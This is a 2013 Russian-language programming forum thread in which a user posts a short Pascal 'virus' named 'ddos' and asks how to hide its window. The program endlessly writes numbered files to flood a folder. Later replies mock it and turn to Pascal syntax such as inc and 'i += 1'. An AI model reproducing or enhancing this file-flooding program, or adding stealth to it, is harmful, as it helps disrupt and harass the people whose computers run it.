Вниз  Pascal
- 14.12.2013 / 12:36
Kalter
  Пользователь

Kalter 
Сейчас: Offline
Вирусня.
  1. program ddos;
  2.  var
  3.   fl:text;
  4.   s:string;
  5.   i:longword;
  6. begin
  7.  repeat
  8.   i:=i+1;
  9.   str(i,s);
  10.   assign(fl,s);
  11.   rewrite(fl);
  12.   write(fl,s);
  13.   close(fl)
  14.  until false
  15. end.

__________________
 Homo homini penis est.
- 14.12.2013 / 12:40
Kalter
  Пользователь

Kalter 
Сейчас: Offline
Было бы лучше если программу бы ещё видно не было. Как на паскале можно сделать "без окон без дверей"?
__________________
 Homo homini penis est.
- 14.12.2013 / 12:44
Helltar
  Пользователь

Helltar 
Сейчас: Offline
Kalter (14.12.2013/12:36)Вирусня.[code]program ddos; var fl:text; s:string; i:longword;begin repeat i:=i+1; str(i,s); assign(fl,s); rewrite(fl); write(fl,s); close(fl) until falseend.[/c:genius:
- 14.12.2013 / 12:49
Kalter
  Пользователь

Kalter 
Сейчас: Offline
Не знаю, :genius:. Однако, думаю, будет не приятно увидеть генерацию ~1000 файлов в секунду на рабочем столе.
__________________
 Homo homini penis est.
- 14.12.2013 / 12:55
Helltar
  Пользователь

Helltar 
Сейчас: Offline
i:=i+1; :genius2:
- 14.12.2013 / 14:27
Kalter
  Пользователь

Kalter 
Сейчас: Offline
Helltar, ну и что?
__________________
 Homo homini penis est.
- 14.12.2013 / 16:47
SeTSeR
  Пользователь

SeTSeR 
Сейчас: Offline
Kalter, знаешь, для таких целей существуют такие функции, как inc и dec :gg:
- 14.12.2013 / 19:16
Kalter
  Пользователь

Kalter 
Сейчас: Offline
SeTSeR, честно, не знал. Но разве есть особая разница?
__________________
 Homo homini penis est.
- 14.12.2013 / 22:33
Xamgore
  Модератор форума

Xamgore 
Сейчас: Offline
SeTSeR, для таких целей уже давно можно использовать подобную штуку:
  1. i += 1;

Увидел очень много интересных штук в PascalABC.NET последней версии. Если кому интересно, расскажу.

Изменено Xamgore (14.12 / 22:33) (всего 1 раз)
- 14.12.2013 / 23:52
Virus-ON
  Пользователь

Virus-ON 
Сейчас: Offline
Xamgore, Угу. Как раз решил попробовать его. :)
Наверх  Всего сообщений: 540
Фильтровать сообщения
Поиск по теме
Файлы топика (22)